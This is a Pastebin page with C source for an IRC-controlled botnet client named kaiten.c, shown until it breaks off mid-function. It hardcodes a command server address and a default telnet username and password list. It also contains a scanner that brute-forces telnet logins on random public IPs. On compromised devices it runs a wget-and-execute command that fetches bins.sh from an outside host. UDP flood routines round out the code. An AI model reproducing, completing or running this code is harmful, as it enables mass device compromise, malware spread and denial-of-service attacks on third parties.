Advertisement
Guest User

kaiten.c

a guest
Oct 7th, 2016
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 35.41 KB | None | 0 0
  1. #undef IDENT
  2. #define FAKENAME "/usr/sbin/dropbear"
  3. #define CHAN "##ez"
  4. #define KEY ""
  5. #define PORT "443"
  6. #define PASS ""
  7. #define STD2_STRING "dts"
  8. #define STD2_SIZE 50
  9. #define PREFIX "[BOT]"
  10. #define PR_SET_NAME 15
  11. #define PAD_RIGHT 1
  12. #define PAD_ZERO 2
  13. #define PRINT_BUF_LEN 12
  14. #define CMD_IAC   255
  15. #define CMD_WILL  251
  16. #define CMD_WONT  252
  17. #define CMD_DO    253
  18. #define CMD_DONT  254
  19. #define OPT_SGA   3
  20. int numservers=1;
  21. char *servers[] = {
  22.   "208.67.1.62",
  23.   (void*)0
  24. };
  25.  
  26. #include <stdarg.h>
  27. #include <errno.h>
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <sys/types.h>
  32. #include <sys/stat.h>
  33. #include <fcntl.h>
  34. #include <strings.h>
  35. #include <netinet/in.h>
  36. #include <unistd.h>
  37. #include <sys/time.h>
  38. #include <sys/socket.h>
  39. #include <signal.h>
  40. #include <arpa/inet.h>
  41. #include <netdb.h>
  42. #include <time.h>
  43. #include <sys/wait.h>
  44. #include <sys/ioctl.h>
  45. #include <net/if.h>
  46. #include <netinet/tcp.h>
  47. #include <netinet/udp.h>
  48. #include <netinet/ip.h>
  49. #include <sys/utsname.h>
  50.  
  51. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"};
  52. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"};
  53.  
  54. int sock,changeservers=0;
  55. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
  56. unsigned int *pids;
  57. uint32_t scanPid;
  58. unsigned long spoofs=0, spoofsm=0, numpids=0;
  59.  
  60. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  61.     switch((unsigned char)*pattern) {
  62.         case '\0': return *string;
  63.         case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  64.         case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  65.         case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  66.         case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  67.         case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  68.         case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  69.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  70.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  71.     }
  72. }
  73. void trim(char *str)
  74. {
  75.         int i;
  76.         int begin = 0;
  77.         int end = strlen(str) - 1;
  78.  
  79.         while (isspace(str[begin])) begin++;
  80.  
  81.         while ((end >= begin) && isspace(str[end])) end--;
  82.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  83.  
  84.         str[i - begin] = '\0';
  85. }
  86.  
  87. static void printchar(unsigned char **str, int c)
  88. {
  89.         if (str) {
  90.                 **str = c;
  91.                 ++(*str);
  92.         }
  93.         else (void)write(1, &c, 1);
  94. }
  95.  
  96. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  97. {
  98.         register int pc = 0, padchar = ' ';
  99.  
  100.         if (width > 0) {
  101.                 register int len = 0;
  102.                 register const unsigned char *ptr;
  103.                 for (ptr = string; *ptr; ++ptr) ++len;
  104.                 if (len >= width) width = 0;
  105.                 else width -= len;
  106.                 if (pad & PAD_ZERO) padchar = '0';
  107.         }
  108.         if (!(pad & PAD_RIGHT)) {
  109.                 for ( ; width > 0; --width) {
  110.                         printchar (out, padchar);
  111.                         ++pc;
  112.                 }
  113.         }
  114.         for ( ; *string ; ++string) {
  115.                 printchar (out, *string);
  116.                 ++pc;
  117.         }
  118.         for ( ; width > 0; --width) {
  119.                 printchar (out, padchar);
  120.                 ++pc;
  121.         }
  122.  
  123.         return pc;
  124. }
  125.  
  126. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  127. {
  128.         unsigned char print_buf[PRINT_BUF_LEN];
  129.         register unsigned char *s;
  130.         register int t, neg = 0, pc = 0;
  131.         register unsigned int u = i;
  132.  
  133.         if (i == 0) {
  134.                 print_buf[0] = '0';
  135.                 print_buf[1] = '\0';
  136.                 return prints (out, print_buf, width, pad);
  137.         }
  138.  
  139.         if (sg && b == 10 && i < 0) {
  140.                 neg = 1;
  141.                 u = -i;
  142.         }
  143.  
  144.         s = print_buf + PRINT_BUF_LEN-1;
  145.         *s = '\0';
  146.  
  147.         while (u) {
  148.                 t = u % b;
  149.                 if( t >= 10 )
  150.                 t += letbase - '0' - 10;
  151.                 *--s = t + '0';
  152.                 u /= b;
  153.         }
  154.  
  155.         if (neg) {
  156.                 if( width && (pad & PAD_ZERO) ) {
  157.                         printchar (out, '-');
  158.                         ++pc;
  159.                         --width;
  160.                 }
  161.                 else {
  162.                         *--s = '-';
  163.                 }
  164.         }
  165.  
  166.         return pc + prints (out, s, width, pad);
  167. }
  168.  
  169. static int print(unsigned char **out, const unsigned char *format, va_list args )
  170. {
  171.         register int width, pad;
  172.         register int pc = 0;
  173.         unsigned char scr[2];
  174.  
  175.         for (; *format != 0; ++format) {
  176.                 if (*format == '%') {
  177.                         ++format;
  178.                         width = pad = 0;
  179.                         if (*format == '\0') break;
  180.                         if (*format == '%') goto out;
  181.                         if (*format == '-') {
  182.                                 ++format;
  183.                                 pad = PAD_RIGHT;
  184.                         }
  185.                         while (*format == '0') {
  186.                                 ++format;
  187.                                 pad |= PAD_ZERO;
  188.                         }
  189.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  190.                                 width *= 10;
  191.                                 width += *format - '0';
  192.                         }
  193.                         if( *format == 's' ) {
  194.                                 register char *s = (char *)va_arg( args, int );
  195.                                 pc += prints (out, s?s:"(null)", width, pad);
  196.                                 continue;
  197.                         }
  198.                         if( *format == 'd' ) {
  199.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  200.                                 continue;
  201.                         }
  202.                         if( *format == 'x' ) {
  203.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  204.                                 continue;
  205.                         }
  206.                         if( *format == 'X' ) {
  207.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  208.                                 continue;
  209.                         }
  210.                         if( *format == 'u' ) {
  211.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  212.                                 continue;
  213.                         }
  214.                         if( *format == 'c' ) {
  215.                                 scr[0] = (unsigned char)va_arg( args, int );
  216.                                 scr[1] = '\0';
  217.                                 pc += prints (out, scr, width, pad);
  218.                                 continue;
  219.                         }
  220.                 }
  221.                 else {
  222. out:
  223.                         printchar (out, *format);
  224.                         ++pc;
  225.                 }
  226.         }
  227.         if (out) **out = '\0';
  228.         va_end( args );
  229.         return pc;
  230. }
  231. int szprintf(unsigned char *out, const unsigned char *format, ...)
  232. {
  233.         va_list args;
  234.         va_start( args, format );
  235.         return print( &out, format, args );
  236. }
  237. int negotiate(int sock, unsigned char *buf, int len)
  238. {
  239.         unsigned char c;
  240.  
  241.         switch (buf[1]) {
  242.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  243.         case CMD_WILL:
  244.         case CMD_WONT:
  245.         case CMD_DO:
  246.         case CMD_DONT:
  247.                 c = CMD_IAC;
  248.                 send(sock, &c, 1, MSG_NOSIGNAL);
  249.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  250.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  251.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  252.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  253.                 send(sock, &c, 1, MSG_NOSIGNAL);
  254.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  255.                 break;
  256.  
  257.         default:
  258.                 break;
  259.         }
  260.  
  261.         return 0;
  262. }
  263.  
  264. int sclose(int fd)
  265. {
  266.         if(3 > fd) return 1;
  267.         close(fd);
  268.         return 0;
  269. }
  270. int Send(int sock, char *words, ...) {
  271.         static char textBuffer[1024];
  272.         va_list args;
  273.         va_start(args, words);
  274.         vsprintf(textBuffer, words, args);
  275.         va_end(args);
  276.         return write(sock,textBuffer,strlen(textBuffer));
  277. }
  278. unsigned int host2ip(char *sender,char *hostname) {
  279.         static struct in_addr i;
  280.         struct hostent *h;
  281.         if((i.s_addr = inet_addr(hostname)) == -1) {
  282.                 if((h = gethostbyname(hostname)) == NULL) {
  283.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  284.                         exit(0);
  285.                 }
  286.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  287.         }
  288.         return i.s_addr;
  289. }
  290. int mfork(char *sender) {
  291.     unsigned int parent, *newpids, i;
  292.     if (disabled == 1) {
  293.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  294.         return 1;
  295.     }
  296.     parent=fork();
  297.     if (parent <= 0) return parent;
  298.     numpids++;
  299.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  300.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  301.     newpids[numpids-1]=parent;
  302.     free(pids);
  303.     pids=newpids;
  304.     return parent;
  305. }
  306. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  307. char *makestring() {
  308.     char *tmp;
  309.     int len=(rand()%5)+4,i;
  310.     FILE *file;
  311.     tmp=(char*)malloc(len+1);
  312.     memset(tmp,0,len+1);
  313.     char *pre;
  314.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  315.     else {
  316.         int a=((rand()*rand())%45402)+1;
  317.         char buf[1024];
  318.         for (i=0;i<a;i++) fgets(buf,1024,file);
  319.         memset(buf,0,1024);
  320.         fgets(buf,1024,file);
  321.         filter(buf);
  322.         memcpy(tmp,buf,len);
  323.         fclose(file);
  324.     }
  325.     return tmp;
  326. }
  327. void identd() {
  328.         int sockname,sockfd,sin_size,tmpsock,i;
  329.         struct sockaddr_in my_addr,their_addr;
  330.         char szBuffer[1024];
  331.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  332.         my_addr.sin_family = AF_INET;
  333.         my_addr.sin_port = htons(443);
  334.         my_addr.sin_addr.s_addr = INADDR_ANY;
  335.         memset(&(my_addr.sin_zero), 0, 8);
  336.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  337.         if (listen(sockfd, 1) == -1) return;
  338.         if (fork() == 0) return;
  339.         sin_size = sizeof(struct sockaddr_in);
  340.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  341.         for(;;) {
  342.                 fd_set bla;
  343.                 struct timeval timee;
  344.                 FD_ZERO(&bla);
  345.                 FD_SET(tmpsock,&bla);
  346.                 timee.tv_sec=timee.tv_usec=60;
  347.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  348.                 if (FD_ISSET(tmpsock,&bla)) break;
  349.         }
  350.         i = recv(tmpsock,szBuffer,1024,0);
  351.         if (i <= 0 || i >= 20) exit(0);
  352.         szBuffer[i]=0;
  353.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  354.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  355.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  356.         close(tmpsock);
  357.         close(sockfd);
  358.         exit(0);
  359. }
  360. int matchPrompt(char *bufStr)
  361. {
  362.         char *prompts = ":>%$#\0";
  363.  
  364.         int bufLen = strlen(bufStr);
  365.         int i, q = 0;
  366.         for(i = 0; i < strlen(prompts); i++)
  367.         {
  368.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  369.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  370.         }
  371.  
  372.         return 0;
  373. }
  374. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  375. {
  376.         int bufferUsed = initialIndex, got = 0, found = 0;
  377.         fd_set myset;
  378.         struct timeval tv;
  379.         tv.tv_sec = timeout;
  380.         tv.tv_usec = timeoutusec;
  381.         unsigned char *initialRead = NULL;
  382.  
  383.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  384.         {
  385.                 FD_ZERO(&myset);
  386.                 FD_SET(fd, &myset);
  387.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  388.                 initialRead = buffer + bufferUsed;
  389.                 got = recv(fd, initialRead, 1, 0);
  390.                 if(got == -1 || got == 0) return 0;
  391.                 bufferUsed += got;
  392.                 if(*initialRead == 0xFF)
  393.                 {
  394.                         got = recv(fd, initialRead + 1, 2, 0);
  395.                         if(got == -1 || got == 0) return 0;
  396.                         bufferUsed += got;
  397.                         if(!negotiate(fd, initialRead, 3)) return 0;
  398.                 } else {
  399.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  400.                 }
  401.         }
  402.  
  403.         if(found) return 1;
  404.         return 0;
  405. }
  406. //8888888 8888888b.   .d8888b.                                                      
  407. //  888   888   Y88b d88P  Y88b                                                      
  408. //  888   888    888 Y88b.                                                          
  409. //  888   888   d88P  "Y888b.    .d8888b  8888b.  88888b.  88888b.   .d88b.  888d888
  410. //  888   8888888P"      "Y88b. d88P"        "88b 888 "88b 888 "88b d8P  Y8b 888P"  
  411. //  888   888              "888 888      .d888888 888  888 888  888 88888888 888    
  412. //  888   888        Y88b  d88P Y88b.    888  888 888  888 888  888 Y8b.     888    
  413. //8888888 888         "Y8888P"   "Y8888P "Y888888 888  888 888  888  "Y8888  888    
  414.                                                                                    
  415.                                                                                    
  416.                                                                                    
  417. static uint8_t ipState[5];
  418. in_addr_t getRandomPublicIP()
  419. {
  420.     if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  421.         {
  422.       ipState[1]++;
  423.         ipState[2]++;
  424.         ipState[3]++;
  425.         ipState[4]++;
  426.       char ip[16];
  427.       szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  428.         return inet_addr(ip);
  429.         }
  430.     ipState[1] = 0;
  431.     ipState[2] = 0;
  432.    ipState[3] = 0;
  433.     ipState[4] = 0;
  434.         while(
  435.                 (ipState[1] == 0) ||
  436.                 (ipState[1] == 10) ||
  437.                 (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 169||
  438.                 (ipState[1] == 169 && ipState[2] == 254) ||
  439.                 (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  440.                 (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  441.                 (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  442.                 (ipState[1] == 192 && ipState[2] == 168) ||
  443.                 (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  444.                 (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  445.                 (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  446.                 (ipState[1] >= 224)
  447.         )
  448.         ){
  449.       ipState[1] = rand() % 255;
  450.       ipState[2] = rand() % 255;
  451.       ipState[3] = rand() % 255;
  452.         ipState[4] = rand() % 255;
  453.         }
  454.  
  455.     char ip[16];
  456.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]));
  457.     return inet_addr(ip);
  458. }
  459.  
  460. //STD Attack
  461. void std(int sock, char *sender, int argc, char **argv) {
  462.     if (mfork(sender) != 0) return;
  463.     if (argc < 3) {
  464.    
  465.         Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
  466.         exit(0);
  467.        
  468.     }
  469.     unsigned long secs;
  470.  
  471.     int iSTD_Sock;
  472.  
  473.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  474.  
  475.     time_t start = time(NULL);
  476.     secs = atol(argv[3]);
  477.     Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  478.  
  479.     struct sockaddr_in sin;
  480.  
  481.     struct hostent *hp;
  482.  
  483.     hp = gethostbyname(argv[1]);
  484.  
  485.     bzero((char*) &sin,sizeof(sin));
  486.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  487.     sin.sin_family = hp->h_addrtype;
  488.     sin.sin_port = atol(argv[2]);
  489.  
  490.     unsigned int a = 0;
  491.  
  492.     while(1){
  493.         if (a >= 50)
  494.         {
  495.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  496.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  497.             if (time(NULL) >= start + secs)
  498.             {
  499.                 Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  500.                 close(iSTD_Sock);
  501.                 exit(0);
  502.             }
  503.             a = 0;
  504.         }
  505.         a++;
  506.     }
  507.    
  508.  
  509. }
  510.  
  511. void stop(int sock, char *sender, int argc, char **argv){
  512.     unsigned long i;
  513.     for (i=0;i<numpids;i++) {
  514.         if (pids[i] != 0 && pids[i] != getpid()) {
  515.             if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  516.                 kill(pids[i],9);
  517.         }
  518.     }
  519. }
  520.  
  521. void StartTheLelz(int sock, char *sender, int argc, char **argv)
  522. {
  523.    
  524.     Send(sock,"PRIVMSG %s :Starting Scanner.\n",chan);
  525.     if (mfork(sender) != 0) return;
  526.     int max = (getdtablesize() / 4) * 3, i, res;
  527.     fd_set myset;
  528.     struct timeval tv;
  529.     socklen_t lon;
  530.     int valopt;
  531.  
  532.     max = max > 512 ? 512 : max;
  533.  
  534.     struct sockaddr_in dest_addr;
  535.     dest_addr.sin_family = AF_INET;
  536.     dest_addr.sin_port = htons(23);
  537.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  538.  
  539.     struct telstate_t
  540.     {
  541.             int fd;
  542.             uint32_t ip;
  543.             uint8_t state;
  544.             uint8_t complete;
  545.             uint8_t usernameInd;
  546.             uint8_t passwordInd;
  547.             uint32_t totalTimeout;
  548.             uint16_t bufUsed;
  549.             char *sockbuf;
  550.     } fds[max];
  551.     memset(fds, 0, max * (sizeof(int) + 1));
  552.     for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  553.     struct timeval timeout;
  554.     timeout.tv_sec = 5;
  555.     timeout.tv_usec = 0;
  556.     while(1)
  557.     {
  558.             for(i = 0; i < max; i++)
  559.             {
  560.                     switch(fds[i].state)
  561.                     {
  562.                     case 0:
  563.                             {
  564.                                     memset(fds[i].sockbuf, 0, 1024);
  565.  
  566.                                     if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  567.                                     else {
  568.                                             fds[i].passwordInd++;
  569.                                             if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  570.                                             if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  571.                                     }
  572.                                     dest_addr.sin_family = AF_INET;
  573.                                     dest_addr.sin_port = htons(23);
  574.                                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  575.                                     dest_addr.sin_addr.s_addr = fds[i].ip;
  576.                                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  577.                                     setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  578.                                     setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  579.                                     if(fds[i].fd == -1) { continue; }
  580.                                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  581.                                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  582.                                     else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  583.                             }
  584.                             break;
  585.  
  586.                     case 1:
  587.                             {
  588.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  589.  
  590.                                     FD_ZERO(&myset);
  591.                                     FD_SET(fds[i].fd, &myset);
  592.                                     tv.tv_sec = 0;
  593.                                     tv.tv_usec = 10000;
  594.                                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  595.                                     if(res == 1)
  596.                                     {
  597.                                             lon = sizeof(int);
  598.                                             valopt = 0;
  599.                                             getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  600.                                             if(valopt)
  601.                                             {
  602.                                                     sclose(fds[i].fd);
  603.                                                     fds[i].state = 0;
  604.                                                     fds[i].complete = 1;
  605.                                             } else {
  606.                                                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  607.                                                     fds[i].totalTimeout = 0;
  608.                                                     fds[i].bufUsed = 0;
  609.                                                     memset(fds[i].sockbuf, 0, 1024);
  610.                                                     fds[i].state = 2;
  611.                                                     continue;
  612.                                             }
  613.                                     } else if(res == -1)
  614.                                     {
  615.                                             sclose(fds[i].fd);
  616.                                             fds[i].state = 0;
  617.                                             fds[i].complete = 1;
  618.                                     }
  619.  
  620.                                     if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  621.                                     {
  622.                                             sclose(fds[i].fd);
  623.                                             fds[i].state = 0;
  624.                                             fds[i].complete = 1;
  625.                                     }
  626.                             }
  627.                             break;
  628.  
  629.                     case 2:
  630.                             {
  631.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  632.                 if(matchPrompt(fds[i].sockbuf)) {
  633.                                 fds[i].state = 7;
  634.                             }
  635.  
  636.                                     if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  637.                                     {
  638.                                             fds[i].totalTimeout = 0;
  639.                                             fds[i].bufUsed = 0;
  640.                                             memset(fds[i].sockbuf, 0, 1024);
  641.                                             fds[i].state = 3;
  642.                                             continue;
  643.                                     } else {
  644.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  645.                                     }
  646.  
  647.                                     if(fds[i].totalTimeout + 15 < time(NULL))
  648.                                     {
  649.                                             sclose(fds[i].fd);
  650.                                             fds[i].state = 0;
  651.                                             fds[i].complete = 1;
  652.                                     }
  653.                             }
  654.                             break;
  655.  
  656.                     case 3:
  657.                             {
  658.                                     if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  659.                                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  660.                                     fds[i].state = 4;
  661.                             }
  662.                             break;
  663.  
  664.                     case 4:
  665.                             {
  666.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  667.  
  668.                                     if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  669.                                     {
  670.                                             fds[i].totalTimeout = 0;
  671.                                             fds[i].bufUsed = 0;
  672.                                             if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  673.                                             else fds[i].state = 7;
  674.                                             memset(fds[i].sockbuf, 0, 1024);
  675.                                             continue;
  676.                                     } else {
  677.                                             if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  678.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  679.                                     }
  680.  
  681.                                     if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  682.                                     {
  683.                                             sclose(fds[i].fd);
  684.                                             fds[i].state = 0;
  685.                                             fds[i].complete = 1;
  686.                                     }
  687.                             }
  688.                             break;
  689.  
  690.                     case 5:
  691.                             {
  692.                                     if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  693.                                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  694.                                     fds[i].state = 6;
  695.                             }
  696.                             break;
  697.  
  698.                     case 6:
  699.                             {
  700.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  701.  
  702.                                     if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  703.                                     {
  704.                                             fds[i].totalTimeout = 0;
  705.                                             fds[i].bufUsed = 0;
  706.                                             if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  707.                                             if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  708.                                             else fds[i].state = 7;
  709.                                             memset(fds[i].sockbuf, 0, 1024);
  710.                                             continue;
  711.                                     } else {
  712.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  713.                                     }
  714.  
  715.                                     if(fds[i].totalTimeout + 15 < time(NULL))
  716.                                     {
  717.                                             sclose(fds[i].fd);
  718.                                             fds[i].state = 0;
  719.                                             fds[i].complete = 1;
  720.                                     }
  721.                             }
  722.                             break;
  723.  
  724.         case 7:
  725.             {
  726.                 if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  727.                 fds[i].state = 8;
  728.             }
  729.             break;
  730.        
  731.         case 8:
  732.             {
  733.                 if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  734.                
  735.                 if(send(fds[i].fd, "cd /tmp; wget http://208.67.1.62/bins.sh; sh bins.sh; rm -rf bins.sh\r\n", 70, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  736.                
  737.                 if(fds[i].totalTimeout + 35 < time(NULL))
  738.                 {
  739.                     sclose(fds[i].fd);
  740.                     fds[i].state = 0;
  741.                     fds[i].complete = 1;
  742.                 }
  743.             }
  744.             break;
  745.         }
  746.     }
  747. }
  748. }
  749.  
  750. void unknown(int sock, char *sender, int argc, char **argv) {
  751.     int flag=1,fd,i;
  752.     unsigned long secs;
  753.     char *buf=(char*)malloc(9216);
  754.     struct hostent *hp;
  755.     struct sockaddr_in in;
  756.    
  757.     time_t start=time(NULL);
  758.    
  759.     if (mfork(sender) != 0) return;
  760.    
  761.     if (argc != 2) {
  762.         Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
  763.         exit(0);
  764.     }
  765.    
  766.     secs=atol(argv[2]);
  767.    
  768.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  769.    
  770.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  771.     in.sin_family = AF_INET;
  772.    
  773.     Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
  774.    
  775.     while(1) {
  776.        
  777.         in.sin_port = rand();
  778.        
  779.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  780.         } else {
  781.             flag=1;
  782.             ioctl(fd,FIONBIO,&flag);
  783.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  784.             close(fd);
  785.         }
  786.        
  787.         if (i >= 50) {
  788.             if (time(NULL) >= start+secs) break;
  789.                 i=0;
  790.         }
  791.         i++;
  792.     }
  793.     Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
  794.     close(fd);
  795.     exit(0);
  796. }
  797.  
  798. //Kill the bot
  799. void killsec(int sock, char *sender, int argc, char **argv) {
  800.    
  801.     if(strcasecmp(adminuser1,sender) == 0){
  802.    
  803.         kill(0,9);
  804.    
  805.     } else {
  806.    
